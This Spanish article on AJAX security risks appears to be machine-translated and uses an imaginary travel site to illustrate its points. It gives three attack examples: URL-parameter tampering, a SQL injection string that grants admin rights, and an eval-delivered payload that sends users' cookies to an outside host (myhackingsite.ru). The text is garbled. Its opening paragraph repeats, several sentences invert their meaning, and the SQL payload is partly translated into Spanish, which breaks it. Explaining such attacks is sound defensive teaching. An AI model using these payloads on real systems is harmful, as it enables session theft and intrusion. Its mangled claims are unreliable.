Los desarrolladores web no notarán el entusiasmo que genera "AJAX (JavaScript y XML asíncronos)". Crear sitios web inteligentes como Google Suggest o aplicaciones basadas en web como Gmail no requiere esfuerzo, en gran parte gracias a esta tecnología. Sin embargo, con el desarrollo de las aplicaciones AJAX, descubrimos algunas de sus deficiencias y descubrimos que sus agujeros de seguridad se están haciendo cada vez más grandes, como si estuvieran colocando lentamente un sitio basado en AJAX en una bomba de tiempo. Los desarrolladores web no notarán el entusiasmo que genera "AJAX (JavaScript y XML asíncronos)". Crear sitios web inteligentes como Google Suggest o aplicaciones basadas en web como Gmail no requiere esfuerzo, en gran parte gracias a esta tecnología. Sin embargo, con el desarrollo de las aplicaciones AJAX, descubrimos algunas de sus deficiencias y descubrimos que sus agujeros de seguridad se están haciendo cada vez más grandes, como si estuvieran colocando lentamente un sitio basado en AJAX en una bomba de tiempo.
Beneficios de AJAX
En los viejos tiempos de las "aplicaciones web", las cosas eran bastante simples. Usted completa un formulario, hace clic en el botón "Enviar" y la pantalla actual desaparece, esperando un momento antes de pasar a la página siguiente. Este ya no es el caso hoy en día. Lo que los usuarios quieren es una experiencia Web que sea tan fluida, rápida y fácil de usar como cualquier aplicación de escritorio.
AJAX a menudo funciona junto con DHTML (HTML dinámico) y su ejecución fluida requiere permitir que el código JavaScript en la página web y el servidor web se comuniquen sin problemas en segundo plano. Por ejemplo, cuando comienza a escribir algo en el cuadro de búsqueda de Google Suggest, la página web y el servidor comienzan a intercambiar datos en segundo plano y luego se le proporcionarán algunos términos que pueda necesitar. Todo esto sin necesidad de actualizar la página ni presionar ningún botón. Esta es también la razón por la que aplicaciones como Gmail hacen un buen trabajo con la revisión ortográfica en tiempo real.
Cómo funciona AJAX
Los complejos principios de AJAX están más allá del alcance de lo que quiero explicar hoy, por lo que aquí solo los describiré brevemente. El código JavaScript de su página puede contactar con su servidor web sin depender del usuario. La función principal aquí es el objeto XMLHttpRequest de JavaScript, que puede activarse en segundo plano o de forma asincrónica mediante eventos como pulsaciones de teclas del usuario o eventos de reloj (es decir, los términos JavaScript y XML asincrónicos).
Si escribe "ajax" en Google Suggest, recibirá una solicitud de servidor como la que recibí después de escribir:
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
La parte XML de esta terminología es un poco engañosa; en realidad no tiene significado. Recibe su nombre del objeto JavaScript y muchas aplicaciones de estilo AJAX utilizan XML, que puede realizar una solicitud al servidor para cualquier transacción. Incluso el propio código JavaScript se puede recuperar y evaluar. Continuar completando mi entrada de "ejemplo de ajax" producirá la siguiente respuesta de los servidores de Google:
sendRPCDone(frameElement, "ejemplo de ajax", new Array("ejemplo de ajax", "ejemplos de ajax"), new Array("153.000 resultados", "177.000 resultados"), new Array(""));
Esto debería darle una idea sobre el poder de AJAX, con su capacidad de agregar nuevo código JavaScript al navegador sobre la marcha. Sin embargo, el enfoque óptimo parece vincular el protocolo XML. Para dar un ejemplo, por ejemplo, Google produjo lo siguiente:
ejemplo de ajax
153.000
ejemplos de ajax
177.000
Obviamente, puedes analizar estos datos XML en una forma adecuada, pero tenemos que agradecer a JavaScript por su capacidad para manejar muy bien objetos XML bajo algunas restricciones muy típicas y muchos errores desagradables de IE.
Para ayudarle a comprender algunos problemas de Ajax, estoy aquí para presentarle una empresa de viajes imaginaria: "Times Cutting Edge Travel Company". Impulsado por un error de AJAX, su principal desarrollador web, Max Uptime, decidió mezclar AJAX para crear una aplicación como esta. De esta manera, estaba a la vanguardia.
problema de AJAX
Más de la mitad de los riesgos de seguridad de AJAX provienen de vulnerabilidades ocultas en el servidor. Claramente, un buen diseño que utiliza técnicas de codificación segura contribuye en gran medida a hacer que AJAX sea más seguro, y debemos agradecer a Max su familiaridad con la lista de las 10 peores vulnerabilidades de seguridad de aplicaciones web del Open Web Application Security Project (OWASP) ( www. owasp.org ). Desafortunadamente, cuando Max implementó AJAX, todavía tuvo que enfrentar una serie de factores adicionales:
1. Nueva tecnología: si Max quería conectar su sitio a una base de datos SQL, encontraba millones de ejemplos en Google. La tecnología AJAX, por muy joven que sea, todavía se encuentra relativamente en una etapa temprana del ciclo de adquisición, aunque solo aparecen unos pocos buenos ejemplos en la web. Para resolver algunos problemas complejos difíciles e innecesarios, esto requiere que desarrolladores como Max se desarrollen de forma independiente. Max tendría que escribir código del lado del servidor y del lado del cliente, creando protocolos de los que no estaba seguro (especialmente para las respuestas del servidor). Por muy buenos que sean estos acuerdos, con el tiempo se reflejarán en la página.
2. Diseño no tradicional: AJAX es un poco diferente del diseño tradicional porque dicha aplicación es mitad cliente y mitad servidor. En el caso de Max, él es el único desarrollador, por lo que puede codificar tanto para el servidor como para el cliente. Desarrollar en dos lenguajes diferentes al mismo tiempo (especialmente en las primeras etapas) creará algunos errores de codificación rudimentarios porque saltará entre dos extremos. Lo que es excelente en un extremo puede no funcionar en el otro. . Incluso si Max tiene un gran equipo de desarrollo, pueden surgir responsabilidades de codificación de seguridad cuando el código se transfiere entre los equipos de desarrollo del servidor y del cliente.
3. Demasiados lenguajes de programación: Max utilizó su propio ingenio para decidir crear la mejor herramienta de registro de viajes del mundo. Comienza el registro ingresando su ubicación actual (mediante código postal, código de área telefónica, GPS, etc.) y se envía inmediatamente una solicitud AJAX para determinar su ubicación exacta. A partir de ese momento, la pantalla se llena con todas las opciones de viaje disponibles para usted, todo antes de que decida dónde quiere ir, cuándo quiere irse y con quién quiere ir.
Todas las celdas y controles de esta pantalla están controlados por AJAX, y los scripts del lado del servidor y del lado del cliente pueden requerir más de 20 llamadas al servidor diferentes. Puede imaginar un pequeño programa de servidor individual, como findairportsbylocation.aspx o determinemaxbaggageallowancebyairline.php.
Se hizo evidente que sin la cuidadosa planificación de Max (como la creación de funciones JavaScript versátiles "sobrecargadas" y scripts de servidor), habría creado más de 40 piezas separadas para cada diseño. Más programación significa más errores y errores, lo que significa más tiempo escribiendo, administrando, probando y actualizando código. No sólo eso, sino que debido a la gran cantidad de scripts de este tipo utilizados en el código JavaScript del lado del cliente, también tienden a volverse muy olvidadizos durante las pruebas formales del programa.
4. Asegúrese de que una pequeña cantidad de AJAX no cause daño: este sitio es un sitio para planificar un viaje, pero Max está pensando que le proporcionará inmediatamente una vista satelital que muestra la ubicación precisa y las condiciones climáticas de su destino. . También disponible para ti. Una de las grandes tentaciones de AJAX es que parece que está haciendo algo más hasta el último minuto, como si un comentarista estuviera explicando, usando AJAX por AJAX. Cuando Max comience a probar sus nuevas ideas, gradualmente intentará agregar más funciones nuevas, ignorando por completo la necesidad de realizar pruebas.
5. Comunicación insegura: Cada llamada AJAX puede devolver solo una pequeña cantidad de datos al cliente, pero esos datos son privados y confidenciales. Max puede escribir una herramienta útil para verificar digitalmente los números de sus tarjetas de crédito, pero ¿qué pasa si usa texto sin formato a través de SSL para enviar los datos? Es una pregunta obvia, pero cuando hay muchas rutinas a considerar, especialmente cuando el otro 99% de Los datos en la pantalla no son datos verdaderamente confidenciales, es fácil ignorar SSL.
6. Control de acceso del lado del servidor: el uso de programas JavaScript para activar AJAX a menudo oculta algunos errores de codificación obvios. El control de acceso del lado del servidor es un ejemplo. Supongamos que Max quiere ofrecerle su hotel favorito basándose en un destino detallado que visitó la última vez. Podría verse así:
showprevioushotels.aspx?userid=12345&destination=ES
Por supuesto, esto es muy bueno, pero ¿qué pasa si un usuario malintencionado cambia la URL a algo como esto?
showprevioushotels.aspx?userid=12346&destination=%
¿Obtendrán los hoteles favoritos de otras personas (Nota: % es un carácter comodín en la declaración SQL). Sin duda, este es un ejemplo inofensivo, pero Max debería usar sesiones, cookies u otros tokens para garantizar que los datos solo puedan enviarse al usuario correcto. Puede que sean sólo una pequeña parte de los datos, pero también pueden ser la parte más importante.
7. Validación del lado del servidor: en realidad hay dos problemas aquí. En primer lugar, los controles AJAX se utilizan a menudo para validar la entrada del usuario antes del envío final al servidor. Esto paraliza a Max y le da una falsa sensación de seguridad porque configura una función llamada Allowdestinations.php que determina el destino correcto para el usuario según su ID.
Dado que se trata de una verificación del lado del servidor, no tiene que preocuparse por volver a realizar la verificación en el servidor cuando finalmente se envíe la página. Suponemos que ningún usuario malintencionado puede subvertir la respuesta de Allowdestinations.php o destruir la solicitud final. la solicitud del servidor.
Los controles AJAX pueden validar la entrada del usuario con más cuidado que el propio usuario, pero aun así suelen realizar la validación final en el servidor.
El segundo problema con la validación AJAX es que el control en sí está sujeto a vulnerabilidades de validación. Una vez más, las URL suelen estar ocultas, por lo que a menudo se olvidan. Por ejemplo, tal vez pueda usar la inyección SQL para atacar el script en este momento, de la siguiente manera:
showprevioushostels.aspx?userid='; actualizar usuarios set type='admin' donde userid=12345;--
Me permitirá iniciar sesión con derechos de administrador del sistema. Por supuesto, cómo obtener esos nombres de tablas y campos está fuera del alcance de este artículo, pero ya conoces esta situación, ¿no?
8. Verificación del lado del cliente: ya sabemos que en el ejemplo de Google Suggest de ahora, es factible crear y ejecutar dinámicamente funciones de JavaScript simplemente evaluando la respuesta del lado del servidor. Sin ningún tipo de validación (lo que sería difícil garantizar la confiabilidad y fluidez en el lado del cliente), el cliente simplemente hará lo que el servidor le pide que haga.
En este caso, dado que la ejecución real del código nunca es visible para un usuario normal (es decir, no se puede "ver el código fuente"), se abre potencialmente una ruta de ataque completa para piratas informáticos malintencionados. Si la respuesta del servidor se altera constantemente (ya sea en el propio servidor web o durante la transferencia de datos), este ataque será difícil de detectar.
Max usa la siguiente respuesta para actualizar el ícono del clima en la página web de destino. La función que usa es la función eval();
updateWeatherIcon('nublado.gif');
Sin embargo, un cracker malicioso puede cambiar esta función a la siguiente forma, haciendo que el ataque sea más difícil de detectar:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies('cloudy.gif');
Ahora podemos rastrear el ID de sesión/cookie de cada usuario en nuestros propios servidores.
resumen
No hay duda de que AJAX y las tecnologías de estilo AJAX son el camino brillante hacia el diseño web. Los desarrolladores pueden crear "aplicaciones" reales en la web que nunca antes habían sido posibles, pero se debe tener cuidado al utilizar AJAX para garantizar la seguridad del sitio web.
Sin embargo, una de las mayores amenazas proviene de scripts del lado del cliente y del lado del servidor cada vez más sofisticados que utilizan AJAX. Estos scripts están ocultos a la vista por medios técnicos, lo que hace que las pruebas no sean intuitivas; al mismo tiempo, esta nueva tecnología también parece hacer que los desarrolladores web olviden los conceptos básicos de una buena codificación; Cuestiones como el control de acceso y la validación de entradas no van a desaparecer, sino que se están volviendo más numerosas y complejas.
-